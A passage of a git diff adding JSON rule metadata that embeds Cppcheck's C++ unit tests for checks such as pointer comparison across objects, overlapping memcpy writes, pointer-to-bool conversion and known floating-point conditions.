\" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkUnreachableCode.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkUnreachableCode.json new file mode 100644 index 0000000..7c10526 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkUnreachableCode.json @@ -0,0 +1,22 @@ +{ + "name": "checkUnreachableCode", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 111, + "branches": 55, + "apis": 123, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 5391 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n 